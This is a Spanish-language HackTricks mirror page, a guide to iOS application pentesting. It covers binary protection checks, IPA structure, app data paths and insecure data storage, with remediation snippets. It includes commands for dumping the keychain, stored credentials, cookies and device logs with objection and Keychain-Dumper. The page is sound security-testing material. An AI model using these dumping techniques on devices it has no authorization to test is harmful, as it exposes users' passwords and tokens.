Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-04 02:20:20 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/mobile-pentesting/ios-pentesting/README.md

71 KiB
Raw Blame History

Pentesting de iOS


Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo.
¡Accede hoy mismo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Conceptos básicos de iOS

{% content-ref url="ios-basics.md" %} ios-basics.md {% endcontent-ref %}

Entorno de prueba

En esta página puedes encontrar información sobre el simulador de iOS, emuladores y jailbreaking:

{% content-ref url="ios-testing-environment.md" %} ios-testing-environment.md {% endcontent-ref %}

Análisis inicial

Operaciones básicas de prueba en iOS

Durante la prueba, se sugerirán varias operaciones (conectar al dispositivo, leer/escribir/subir/descargar archivos, usar algunas herramientas...). Por lo tanto, si no sabes cómo realizar alguna de estas acciones, por favor, comienza leyendo la página:

{% content-ref url="basic-ios-testing-operations.md" %} basic-ios-testing-operations.md {% endcontent-ref %}

{% hint style="info" %} Para los siguientes pasos, la aplicación debe estar instalada en el dispositivo y ya se debe haber obtenido el archivo IPA de la aplicación.
Lee la página Operaciones básicas de prueba en iOS para aprender cómo hacerlo. {% endhint %}

Análisis estático básico

Se recomienda utilizar la herramienta MobSF para realizar un Análisis Estático automático del archivo IPA.

Identificación de las protecciones presentes en el binario:

  • PIE (Ejecutable de Posición Independiente): Cuando está habilitado, la aplicación se carga en una dirección de memoria aleatoria cada vez que se inicia, lo que dificulta predecir su dirección de memoria inicial.
otool -hv <app-binary> | grep PIE   # Debería incluir la bandera PIE
  • Canarios de pila: Para validar la integridad de la pila, se coloca un valor 'canario' en la pila antes de llamar a una función y se valida nuevamente una vez que la función finaliza.
otool -I -v <app-binary> | grep stack_chk   # Debería incluir los símbolos: stack_chk_guard y stack_chk_fail
  • ARC (Conteo Automático de Referencias): Para prevenir fallas comunes de corrupción de memoria
otool -I -v <app-binary> | grep objc_release   # Debería incluir el símbolo _objc_release
  • Binario encriptado: El binario debería estar encriptado
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT   # El cryptid debería ser 1

Identificación de Funciones Sensibles/Inseguras

  • Algoritmos de Hashing Débiles
# En el dispositivo iOS
otool -Iv <app> | grep -w "_CC_MD5"
otool -Iv <app> | grep -w "_CC_SHA1"

# En Linux
grep -iER "_CC_MD5"
grep -iER "_CC_SHA1"
  • Funciones Aleatorias Inseguras
# En el dispositivo iOS
otool -Iv <app> | grep -w "_random"
otool -Iv <app> | grep -w "_srand"
otool -Iv <app> | grep -w "_rand"

# En Linux
grep -iER "_random"
grep -iER "_srand"
grep -iER "_rand"
  • Función 'Malloc' Insegura
# En el dispositivo iOS
otool -Iv <app> | grep -w "_malloc"

# En Linux
grep -iER "_malloc"
  • Funciones Inseguras y Vulnerables
# En el dispositivo iOS
otool -Iv <app> | grep -w "_gets"
otool -Iv <app> | grep -w "_memcpy"
otool -Iv <app> | grep -w "_strncpy"
otool -Iv <app> | grep -w "_strlen"
otool -Iv <app> | grep -w "_vsnprintf"
otool -Iv <app> | grep -w "_sscanf"
otool -Iv <app> | grep -w "_strtok"
otool -Iv <app> | grep -w "_alloca"
otool -Iv <app> | grep -w "_sprintf"
otool -Iv <app> | grep -w "_printf"
otool -Iv <app> | grep -w "_vsprintf"

# En Linux
grep -R "_gets"
grep -iER "_memcpy"
grep -iER "_strncpy"
grep -iER "_strlen"
grep -iER "_vsnprintf"
grep -iER "_sscanf"
grep -iER "_strtok"
grep -iER "_alloca"
grep -iER "_sprintf"
grep -iER "_printf"
grep -iER "_vsprintf"

Análisis dinámico básico

Revisa el análisis dinámico que realiza MobSF. Necesitarás navegar por las diferentes vistas e interactuar con ellas, pero estará enganchando varias clases y realizando otras acciones, y preparará un informe una vez que hayas terminado.

Listado de aplicaciones instaladas

Utiliza el comando frida-ps -Uai para determinar el identificador de paquete de las aplicaciones instaladas:

$ frida-ps -Uai
PID  Name                 Identifier
----  -------------------  -----------------------------------------
6847  Calendar             com.apple.mobilecal
6815  Mail                 com.apple.mobilemail
-  App Store            com.apple.AppStore
-  Apple Store          com.apple.store.Jolly
-  Calculator           com.apple.calculator
-  Camera               com.apple.camera
-  iGoat-Swift          OWASP.iGoat-Swift

Enumeración Básica y Hooking

Aprende cómo enumerar los componentes de la aplicación y cómo engañar fácilmente métodos y clases con objection:

{% content-ref url="ios-hooking-with-objection.md" %} ios-hooking-with-objection.md {% endcontent-ref %}

Estructura de IPA

La estructura de un archivo IPA es esencialmente la de un paquete comprimido. Al cambiar su extensión a .zip, se puede descomprimir para revelar su contenido. Dentro de esta estructura, un Bundle representa una aplicación completamente empaquetada lista para la instalación. Dentro, encontrarás un directorio llamado <NOMBRE>.app, que encapsula los recursos de la aplicación.

  • Info.plist: Este archivo contiene detalles de configuración específicos de la aplicación.
  • _CodeSignature/: Este directorio incluye un archivo plist que contiene una firma, asegurando la integridad de todos los archivos en el paquete.
  • Assets.car: Un archivo comprimido que almacena archivos de recursos como iconos.
  • Frameworks/: Esta carpeta alberga las bibliotecas nativas de la aplicación, que pueden estar en forma de archivos .dylib o .framework.
  • PlugIns/: Esto puede incluir extensiones de la aplicación, conocidas como archivos .appex, aunque no siempre están presentes.
  • Core Data: Se utiliza para guardar los datos permanentes de tu aplicación para uso sin conexión, para almacenar datos temporales y para agregar funcionalidad de deshacer a tu aplicación en un solo dispositivo. Para sincronizar datos en varios dispositivos en una cuenta de iCloud, Core Data refleja automáticamente tu esquema en un contenedor CloudKit.
  • PkgInfo: El archivo PkgInfo es una forma alternativa de especificar los códigos de tipo y creador de tu aplicación o paquete.
  • en.lproj, fr.proj, Base.lproj: Son los paquetes de idioma que contienen recursos para esos idiomas específicos, y un recurso predeterminado en caso de que un idioma no sea compatible.
  • Seguridad: El directorio _CodeSignature/ juega un papel crítico en la seguridad de la aplicación al verificar la integridad de todos los archivos empaquetados a través de firmas digitales.
  • Gestión de Activos: El archivo Assets.car utiliza compresión para gestionar eficientemente activos gráficos, crucial para optimizar el rendimiento de la aplicación y reducir su tamaño total.
  • Frameworks y PlugIns: Estos directorios subrayan la modularidad de las aplicaciones de iOS, permitiendo a los desarrolladores incluir bibliotecas de código reutilizables (Frameworks/) y extender la funcionalidad de la aplicación (PlugIns/).
  • Localización: La estructura admite múltiples idiomas, facilitando el alcance global de la aplicación al incluir recursos para paquetes de idiomas específicos.

Info.plist

El Info.plist sirve como piedra angular para las aplicaciones de iOS, encapsulando datos de configuración clave en forma de pares de clave-valor. Este archivo es un requisito no solo para aplicaciones, sino también para extensiones de aplicaciones y frameworks empaquetados dentro. Está estructurado en XML o en un formato binario y contiene información crítica que va desde permisos de la aplicación hasta configuraciones de seguridad. Para una exploración detallada de las claves disponibles, se puede consultar la Documentación para Desarrolladores de Apple.

Para aquellos que deseen trabajar con este archivo en un formato más accesible, la conversión a XML se puede lograr fácilmente mediante el uso de plutil en macOS (disponible nativamente en versiones 10.2 y posteriores) o plistutil en Linux. Los comandos para la conversión son los siguientes:

  • Para macOS:
$ plutil -convert xml1 Info.plist
  • Para Linux:
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist

Entre la gran cantidad de información que el archivo Info.plist puede divulgar, las entradas destacadas incluyen cadenas de permisos de la aplicación (UsageDescription), esquemas de URL personalizados (CFBundleURLTypes), y configuraciones para la Seguridad del Transporte de la Aplicación (NSAppTransportSecurity). Estas entradas, junto con otras como tipos de documentos personalizados exportados/importados (UTExportedTypeDeclarations / UTImportedTypeDeclarations), pueden ser fácilmente localizadas inspeccionando el archivo o empleando un simple comando grep:

$ grep -i <keyword> Info.plist

Rutas de Datos

En el entorno de iOS, los directorios están designados específicamente para las aplicaciones del sistema y las aplicaciones instaladas por el usuario. Las aplicaciones del sistema residen en el directorio /Applications, mientras que las aplicaciones instaladas por el usuario se colocan en /private/var/containers/. Estas aplicaciones se les asigna un identificador único conocido como un UUID de 128 bits, lo que hace que la tarea de localizar manualmente la carpeta de una aplicación sea desafiante debido a la aleatoriedad de los nombres de directorio.

Para facilitar el descubrimiento del directorio de instalación de una aplicación instalada por el usuario, la herramienta objection proporciona un comando útil, env. Este comando revela información detallada del directorio para la aplicación en cuestión. A continuación se muestra un ejemplo de cómo usar este comando:

OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env

Name               Path
-----------------  -------------------------------------------------------------------------------------------
BundlePath         /var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app
CachesDirectory    /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library/Caches
DocumentDirectory  /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
LibraryDirectory   /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library

Alternativamente, el nombre de la aplicación se puede buscar dentro de /private/var/containers utilizando el comando find:

find /private/var/containers -name "Progname*"

Los comandos como ps y lsof también se pueden utilizar para identificar el proceso de la aplicación y listar archivos abiertos, respectivamente, proporcionando información sobre las rutas de directorio activas de la aplicación:

ps -ef | grep -i <app-name>
lsof -p <pid> | grep -i "/containers" | head -n 1

Directorio de paquetes:

  • AppName.app
  • Este es el Paquete de la Aplicación como se ve antes en el IPA, contiene datos esenciales de la aplicación, contenido estático, así como el binario compilado de la aplicación.
  • Este directorio es visible para los usuarios, pero los usuarios no pueden escribir en él.
  • El contenido de este directorio no se respalda.
  • El contenido de esta carpeta se utiliza para validar la firma del código.

Directorio de datos:

  • Documents/
  • Contiene todos los datos generados por el usuario. El usuario final de la aplicación inicia la creación de estos datos.
  • Visible para los usuarios y los usuarios pueden escribir en él.
  • El contenido de este directorio se respalda.
  • La aplicación puede deshabilitar rutas configurando NSURLIsExcludedFromBackupKey.
  • Library/
  • Contiene todos los archivos que no son específicos del usuario, como cachés, preferencias, cookies y archivos de configuración de listas de propiedades (plist).
  • Las aplicaciones de iOS suelen utilizar los subdirectorios Application Support y Caches, pero la aplicación puede crear subdirectorios personalizados.
  • Library/Caches/
  • Contiene archivos en caché semi-persistentes.
  • Invisible para los usuarios y los usuarios no pueden escribir en él.
  • El contenido de este directorio no se respalda.
  • El sistema operativo puede eliminar automáticamente los archivos de este directorio cuando la aplicación no se está ejecutando y el espacio de almacenamiento es escaso.
  • Library/Application Support/
  • Contiene archivos persistentes necesarios para ejecutar la aplicación.
  • Invisible para los usuarios y los usuarios no pueden escribir en él.
  • El contenido de este directorio se respalda.
  • La aplicación puede deshabilitar rutas configurando NSURLIsExcludedFromBackupKey.
  • Library/Preferences/
  • Se utiliza para almacenar propiedades que pueden persistir incluso después de reiniciar una aplicación.
  • La información se guarda, sin cifrar, dentro del sandbox de la aplicación en un archivo plist llamado [BUNDLE_ID].plist.
  • Todos los pares clave/valor almacenados usando NSUserDefaults se pueden encontrar en este archivo.
  • tmp/
  • Utilice este directorio para escribir archivos temporales que no necesitan persistir entre los lanzamientos de la aplicación.
  • Contiene archivos en caché no persistentes.
  • Invisible para los usuarios.
  • El contenido de este directorio no se respalda.
  • El sistema operativo puede eliminar automáticamente los archivos de este directorio cuando la aplicación no se está ejecutando y el espacio de almacenamiento es escaso.

Echemos un vistazo más de cerca al directorio de Paquete de Aplicación (.app) de iGoat-Swift dentro del directorio de Paquete (/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app):

OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType      Perms  NSFileProtection    ...  Name
------------  -------  ------------------  ...  --------------------------------------
Regular           420  None                ...  rutger.html
Regular           420  None                ...  mansi.html
Regular           420  None                ...  splash.html
Regular           420  None                ...  about.html

Regular           420  None                ...  LICENSE.txt
Regular           420  None                ...  Sentinel.txt
Regular           420  None                ...  README.txt

Reversión Binaria

Dentro de la carpeta <nombre-de-la-aplicación>.app encontrarás un archivo binario llamado <nombre-de-la-aplicación>. Este es el archivo que se ejecutará. Puedes realizar una inspección básica del binario con la herramienta otool:

otool -Vh DVIA-v2 #Check some compilation attributes
magic  cputype cpusubtype  caps    filetype ncmds sizeofcmds      flags
MH_MAGIC_64    ARM64        ALL  0x00     EXECUTE    65       7112   NOUNDEFS DYLDLINK TWOLEVEL WEAK_DEFINES BINDS_TO_WEAK PIE

otool -L DVIA-v2 #Get third party libraries
DVIA-v2:
/usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 400.9.1)
/usr/lib/libsqlite3.dylib (compatibility version 9.0.0, current version 274.6.0)
/usr/lib/libz.1.dylib (compatibility version 1.0.0, current version 1.2.11)
@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0)
[...]

Verificar si la aplicación está encriptada

Verificar si hay alguna salida para:

otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO

Desensamblar el binario

Desensamblar la sección de texto:

otool -tV DVIA-v2
DVIA-v2:
(__TEXT,__text) section
+[DDLog initialize]:
0000000100004ab8    sub    sp, sp, #0x60
0000000100004abc    stp    x29, x30, [sp, #0x50]   ; Latency: 6
0000000100004ac0    add    x29, sp, #0x50
0000000100004ac4    sub    x8, x29, #0x10
0000000100004ac8    mov    x9, #0x0
0000000100004acc    adrp    x10, 1098 ; 0x10044e000
0000000100004ad0    add    x10, x10, #0x268

Para imprimir el segmento de Objective-C de la aplicación de muestra, se puede usar:

otool -oV DVIA-v2
DVIA-v2:
Contents of (__DATA,__objc_classlist) section
00000001003dd5b8 0x1004423d0 _OBJC_CLASS_$_DDLog
isa        0x1004423a8 _OBJC_METACLASS_$_DDLog
superclass 0x0 _OBJC_CLASS_$_NSObject
cache      0x0 __objc_empty_cache
vtable     0x0
data       0x1003de748
flags          0x80
instanceStart  8

Para obtener un código Objective-C más compacto, puedes usar class-dump:

class-dump some-app
//
//     Generated by class-dump 3.5 (64 bit).
//
//     class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
//

#pragma mark Named Structures

struct CGPoint {
double _field1;
double _field2;
};

struct CGRect {
struct CGPoint _field1;
struct CGSize _field2;
};

struct CGSize {
double _field1;
double _field2;
};

Sin embargo, las mejores opciones para desensamblar el binario son: Hopper y IDA.


Utiliza Trickest para construir fácilmente y automatizar flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.
Accede hoy mismo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Almacenamiento de Datos

Para aprender cómo iOS almacena datos en el dispositivo, lee esta página:

{% content-ref url="ios-basics.md" %} ios-basics.md {% endcontent-ref %}

{% hint style="warning" %} Los siguientes lugares para almacenar información deben ser verificados justo después de instalar la aplicación, después de revisar todas las funcionalidades de la aplicación e incluso después de cerrar sesión de un usuario e iniciar sesión con otro.
El objetivo es encontrar información sensible no protegida de la aplicación (contraseñas, tokens), del usuario actual y de usuarios que hayan iniciado sesión previamente. {% endhint %}

Plist

Los archivos plist son archivos XML estructurados que contienen pares clave-valor. Es una forma de almacenar datos de forma persistente, por lo que a veces puedes encontrar información sensible en estos archivos. Se recomienda revisar estos archivos después de instalar la aplicación y después de usarla intensivamente para ver si se ha escrito nueva información.

La forma más común de persistir datos en archivos plist es a través del uso de NSUserDefaults. Este archivo plist se guarda dentro del sandbox de la aplicación en Library/Preferences/<appBundleID>.plist

La clase NSUserDefaults proporciona una interfaz programática para interactuar con el sistema de preferencias predeterminado. El sistema predeterminado permite a una aplicación personalizar su comportamiento según las preferencias del usuario. Los datos guardados por NSUserDefaults se pueden ver en el paquete de la aplicación. Esta clase almacena datos en un archivo plist, pero está destinada a ser utilizada con pequeñas cantidades de datos.

Estos datos no pueden ser accedidos directamente a través de una computadora de confianza, pero se puede acceder a ellos realizando una copia de seguridad.

Puedes volcar la información guardada usando NSUserDefaults utilizando ios nsuserdefaults get de objection.

Para encontrar todos los plist utilizados por la aplicación, puedes acceder a /private/var/mobile/Containers/Data/Application/{APPID} y ejecutar:

find ./ -name "*.plist"

Para convertir archivos de formato XML o binario (bplist) a XML, están disponibles varios métodos dependiendo de tu sistema operativo:

Para usuarios de macOS: Utiliza el comando plutil. Es una herramienta integrada en macOS (10.2+), diseñada para este propósito:

$ plutil -convert xml1 Info.plist

Para usuarios de Linux: Primero instala libplist-utils, luego usa plistutil para convertir tu archivo:

$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist

Dentro de una Sesión de Objection: Para analizar aplicaciones móviles, un comando específico te permite convertir archivos plist directamente:

ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>/Library/Preferences/com.some.package.app.plist

Core Data

Core Data es un marco para gestionar la capa de modelo de objetos en tu aplicación. Core Data puede usar SQLite como su almacenamiento persistente, pero el marco en sí no es una base de datos. CoreData no cifra sus datos de forma predeterminada. Sin embargo, se puede agregar una capa de cifrado adicional a CoreData. Consulta el Repositorio de GitHub para obtener más detalles.

Puedes encontrar la información de SQLite Core Data de una aplicación en la ruta /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support

Si puedes abrir el SQLite y acceder a información sensible, entonces has encontrado una mala configuración.

{% code title="Código de iGoat" %}

-(void)storeDetails {
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);

NSManagedObjectContext *context =[appDelegate managedObjectContext];

User *user = [self fetchUser];
if (user) {
return;
}
user = [NSEntityDescription insertNewObjectForEntityForName:@"User"
inManagedObjectContext:context];
user.email = CoreDataEmail;
user.password = CoreDataPassword;
NSError *error;
if (![context save:&error]) {
NSLog(@"Error in saving data: %@", [error localizedDescription]);

}else{
NSLog(@"data stored in core data");
}
}

{% endcode %}

YapDatabase

YapDatabase es un almacén de clave/valor construido sobre SQLite.
Dado que las bases de datos Yap son bases de datos sqlite, puedes encontrarlas utilizando el comando propuesto en la sección anterior.

Otras Bases de Datos SQLite

Es común que las aplicaciones creen su propia base de datos sqlite. Pueden estar almacenando datos sensibles en ellas y dejándolos sin cifrar. Por lo tanto, siempre es interesante revisar cada base de datos dentro del directorio de aplicaciones. Ve al directorio de la aplicación donde se guardan los datos (/private/var/mobile/Containers/Data/Application/{APPID})

find ./ -name "*.sqlite" -or -name "*.db"

Bases de datos en tiempo real de Firebase

Los desarrolladores pueden almacenar y sincronizar datos en una base de datos alojada en la nube NoSQL a través de las bases de datos en tiempo real de Firebase. Almacenados en formato JSON, los datos se sincronizan en tiempo real con todos los clientes conectados.

Puedes encontrar cómo verificar bases de datos de Firebase mal configuradas aquí:

{% content-ref url="../../network-services-pentesting/pentesting-web/buckets/firebase-database.md" %} firebase-database.md {% endcontent-ref %}

Bases de datos Realm

Realm Objective-C y Realm Swift ofrecen una potente alternativa para el almacenamiento de datos, no proporcionada por Apple. Por defecto, almacenan datos sin cifrar, con la posibilidad de habilitar el cifrado a través de una configuración específica.

Las bases de datos se encuentran en: /private/var/mobile/Containers/Data/Application/{APPID}. Para explorar estos archivos, se pueden utilizar comandos como:

iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
default.realm  default.realm.lock  default.realm.management/  default.realm.note|

$ find ./ -name "*.realm*"

Para ver estos archivos de base de datos, se recomienda utilizar la herramienta Realm Studio.

Para implementar el cifrado dentro de una base de datos Realm, se puede utilizar el siguiente fragmento de código:

// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
let config = Realm.Configuration(encryptionKey: getKey())
do {
let realm = try Realm(configuration: config)
// Use the Realm as normal
} catch let error as NSError {
// If the encryption key is wrong, `error` will say that it's an invalid database
fatalError("Error opening realm: \(error)")
}

Bases de datos de Couchbase Lite

Couchbase Lite se describe como un motor de base de datos ligero y incorporado que sigue el enfoque orientado a documentos (NoSQL). Diseñado para ser nativo de iOS y macOS, ofrece la capacidad de sincronizar datos de forma transparente.

Para identificar posibles bases de datos de Couchbase en un dispositivo, se debe inspeccionar el siguiente directorio:

ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/

Cookies

iOS almacena las cookies de las aplicaciones en Library/Cookies/cookies.binarycookies dentro de la carpeta de cada aplicación. Sin embargo, a veces los desarrolladores deciden guardarlas en el llavero ya que el mencionado archivo de cookies puede ser accedido en las copias de seguridad.

Para inspeccionar el archivo de cookies puedes usar este script de python o usar ios cookies get de objection.
También puedes usar objection para convertir estos archivos a un formato JSON e inspeccionar los datos.

...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
[
{
"domain": "highaltitudehacks.com",
"expiresDate": "2051-09-15 07:46:43 +0000",
"isHTTPOnly": "false",
"isSecure": "false",
"name": "username",
"path": "/",
"value": "admin123",
"version": "0"
}
]

Caché

Por defecto, NSURLSession almacena datos, como solicitudes y respuestas HTTP en la base de datos Cache.db. Esta base de datos puede contener datos sensibles, como tokens, nombres de usuario u otra información sensible que haya sido almacenada en caché. Para encontrar la información en caché, abre el directorio de datos de la aplicación (/var/mobile/Containers/Data/Application/<UUID>) y ve a /Library/Caches/<Bundle Identifier>. La caché de WebKit también se almacena en el archivo Cache.db. Objection puede abrir e interactuar con la base de datos con el comando sqlite connect Cache.db, ya que es una base de datos SQLite normal.

Se recomienda deshabilitar el almacenamiento en caché de estos datos, ya que pueden contener información sensible en la solicitud o respuesta. La siguiente lista muestra diferentes formas de lograr esto:

  1. Se recomienda eliminar las respuestas en caché después de cerrar sesión. Esto se puede hacer con el método proporcionado por Apple llamado removeAllCachedResponses. Puedes llamar a este método de la siguiente manera:

URLCache.shared.removeAllCachedResponses()

Este método eliminará todas las solicitudes y respuestas en caché del archivo Cache.db. 2. Si no necesitas utilizar las ventajas de las cookies, se recomienda simplemente usar la propiedad .ephemeral de URLSession, que deshabilitará el almacenamiento de cookies y cachés.

Documentación de Apple:

Un objeto de configuración de sesión efímera es similar a una configuración de sesión predeterminada (ver predeterminada), excepto que el objeto de sesión correspondiente no almacena cachés, almacenes de credenciales ni ningún dato relacionado con la sesión en el disco. En su lugar, los datos relacionados con la sesión se almacenan en la RAM. La única vez que una sesión efímera escribe datos en el disco es cuando le indicas que escriba el contenido de una URL en un archivo. 3. La caché también se puede deshabilitar configurando la Política de Caché en .notAllowed. Esto deshabilitará el almacenamiento de caché de cualquier forma, ya sea en memoria o en disco.

Capturas de pantalla

Cada vez que presionas el botón de inicio, iOS toma una captura de pantalla de la pantalla actual para poder realizar la transición a la aplicación de una manera más suave. Sin embargo, si hay datos sensibles en la pantalla actual, se guardarán en la imagen (que persiste a través de reinicios). Estas son las capturas de pantalla a las que también se puede acceder al hacer doble clic en la pantalla de inicio para cambiar entre aplicaciones.

A menos que el iPhone esté con jailbreak, el atacante necesita tener acceso al dispositivo desbloqueado para ver estas capturas de pantalla. Por defecto, la última captura de pantalla se almacena en el sandbox de la aplicación en la carpeta Library/Caches/Snapshots/ o Library/SplashBoard/Snapshots (los ordenadores de confianza no pueden acceder al sistema de archivos desde iOS 7.0).

Una forma de prevenir este comportamiento no deseado es poner una pantalla en blanco o eliminar los datos sensibles antes de tomar la captura de pantalla utilizando la función ApplicationDidEnterBackground().

A continuación se muestra un método de remediación de ejemplo que establecerá una captura de pantalla predeterminada.

Swift:

private var backgroundImage: UIImageView?

func applicationDidEnterBackground(_ application: UIApplication) {
let myBanner = UIImageView(image: #imageLiteral(resourceName: "overlayImage"))
myBanner.frame = UIScreen.main.bounds
backgroundImage = myBanner
window?.addSubview(myBanner)
}

func applicationWillEnterForeground(_ application: UIApplication) {
backgroundImage?.removeFromSuperview()
}

Objective-C:

Objective-C es un lenguaje de programación utilizado para el desarrollo de aplicaciones en iOS. Es importante comprender los conceptos básicos de Objective-C para realizar pruebas de penetración en aplicaciones iOS.

@property (UIImageView *)backgroundImage;

- (void)applicationDidEnterBackground:(UIApplication *)application {
UIImageView *myBanner = [[UIImageView alloc] initWithImage:@"overlayImage.png"];
self.backgroundImage = myBanner;
self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
[self.window addSubview:myBanner];
}

- (void)applicationWillEnterForeground:(UIApplication *)application {
[self.backgroundImage removeFromSuperview];
}

Este código establece la imagen de fondo en overlayImage.png cada vez que la aplicación pasa a segundo plano. Esto previene fugas de datos sensibles porque overlayImage.png siempre sobrescribirá la vista actual.

Keychain

Para acceder y gestionar el llavero de iOS, herramientas como Keychain-Dumper están disponibles, adecuadas para dispositivos con jailbreak. Además, Objection proporciona el comando ios keychain dump con propósitos similares.

Almacenamiento de Credenciales

La clase NSURLCredential es ideal para guardar información sensible directamente en el llavero, evitando la necesidad de NSUserDefaults u otros envoltorios. Para almacenar credenciales después del inicio de sesión, se utiliza el siguiente código Swift:

NSURLCredential *credential;
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];

Para extraer estas credenciales almacenadas, se utiliza el comando ios nsurlcredentialstorage dump de Objection.

Teclados Personalizados y Caché de Teclado

A partir de iOS 8.0, los usuarios pueden instalar extensiones de teclado personalizadas, que se pueden gestionar en Configuración > General > Teclado > Teclados. Si bien estos teclados ofrecen funcionalidades extendidas, representan un riesgo de registro de pulsaciones de teclas y de envío de datos a servidores externos, aunque los usuarios son notificados sobre los teclados que requieren acceso a la red. Las aplicaciones pueden y deben restringir el uso de teclados personalizados para la introducción de información sensible.

Recomendaciones de Seguridad:

  • Se recomienda desactivar los teclados de terceros para una seguridad mejorada.
  • Tener en cuenta las funciones de autocorrección y sugerencias automáticas del teclado iOS predeterminado, que podrían almacenar información sensible en archivos de caché ubicados en Library/Keyboard/{locale}-dynamic-text.dat o /private/var/mobile/Library/Keyboard/dynamic-text.dat. Estos archivos de caché deben ser revisados regularmente en busca de datos sensibles. Se recomienda restablecer el diccionario del teclado a través de Configuración > General > Restablecer > Restablecer diccionario del teclado para limpiar los datos en caché.
  • La interceptación del tráfico de red puede revelar si un teclado personalizado está transmitiendo pulsaciones de teclas de forma remota.

Prevención del Caché de Campos de Texto

El protocolo UITextInputTraits ofrece propiedades para gestionar la autocorrección y la entrada de texto segura, esenciales para prevenir el almacenamiento en caché de información sensible. Por ejemplo, deshabilitar la autocorrección y habilitar la entrada de texto segura se puede lograr con:

textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES;

Además, los desarrolladores deben asegurarse de que los campos de texto, especialmente aquellos para ingresar información sensible como contraseñas y PIN, deshabiliten el almacenamiento en caché configurando autocorrectionType en UITextAutocorrectionTypeNo y secureTextEntry en YES.

UITextField *textField = [[UITextField alloc] initWithFrame:frame];
textField.autocorrectionType = UITextAutocorrectionTypeNo;

Registros

Depurar código a menudo implica el uso de registros. Existe un riesgo ya que los registros pueden contener información sensible. Anteriormente, en iOS 6 y versiones anteriores, los registros eran accesibles para todas las aplicaciones, lo que suponía un riesgo de fuga de datos sensibles. Ahora, las aplicaciones están restringidas a acceder solo a sus propios registros.

A pesar de estas restricciones, un atacante con acceso físico a un dispositivo desbloqueado aún puede explotar esto conectando el dispositivo a una computadora y leyendo los registros. Es importante tener en cuenta que los registros permanecen en el disco incluso después de desinstalar la aplicación.

Para mitigar riesgos, se recomienda interactuar minuciosamente con la aplicación, explorando todas sus funcionalidades y entradas para asegurarse de que no se esté registrando información sensible inadvertidamente.

Al revisar el código fuente de la aplicación en busca de posibles fugas, busque tanto declaraciones de registro predefinidas como personalizadas utilizando palabras clave como NSLog, NSAssert, NSCAssert, fprintf para funciones integradas, y cualquier mención de Logging o Logfile para implementaciones personalizadas.

Monitoreo de Registros del Sistema

Las aplicaciones registran varias piezas de información que pueden ser sensibles. Para monitorear estos registros, se utilizan herramientas y comandos como:

idevice_id --list   # To find the device ID
idevicesyslog -u <id> (| grep <app>)   # To capture the device logs

Son útiles. Además, Xcode proporciona una forma de recopilar registros de consola:

  1. Abre Xcode.
  2. Conecta el dispositivo iOS.
  3. Navega a Ventana -> Dispositivos y Simuladores.
  4. Selecciona tu dispositivo.
  5. Provoca el problema que estás investigando.
  6. Utiliza el botón Abrir Consola para ver los registros en una nueva ventana.

Para un registro más avanzado, conectarse a la shell del dispositivo y usar socat puede proporcionar monitoreo de registros en tiempo real:

iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock

Copias de seguridad

Las funcionalidades de copia de seguridad automática están integradas en iOS, facilitando la creación de copias de datos del dispositivo a través de iTunes (hasta macOS Catalina), Finder (desde macOS Catalina en adelante) o iCloud. Estas copias de seguridad abarcan casi todos los datos del dispositivo, excluyendo elementos altamente sensibles como detalles de Apple Pay y configuraciones de Touch ID.

Riesgos de seguridad

La inclusión de aplicaciones instaladas y sus datos en las copias de seguridad plantea el problema de posibles filtraciones de datos y el riesgo de que las modificaciones de la copia de seguridad puedan alterar la funcionalidad de la aplicación. Se recomienda no almacenar información sensible en texto plano dentro del directorio de ninguna aplicación o sus subdirectorios para mitigar estos riesgos.

Excluir archivos de las copias de seguridad

Los archivos en Documents/ y Library/Application Support/ se respaldan de forma predeterminada. Los desarrolladores pueden excluir archivos o directorios específicos de las copias de seguridad utilizando NSURL setResourceValue:forKey:error: con la clave NSURLIsExcludedFromBackupKey. Esta práctica es crucial para proteger los datos sensibles de ser incluidos en las copias de seguridad.

Pruebas de vulnerabilidades

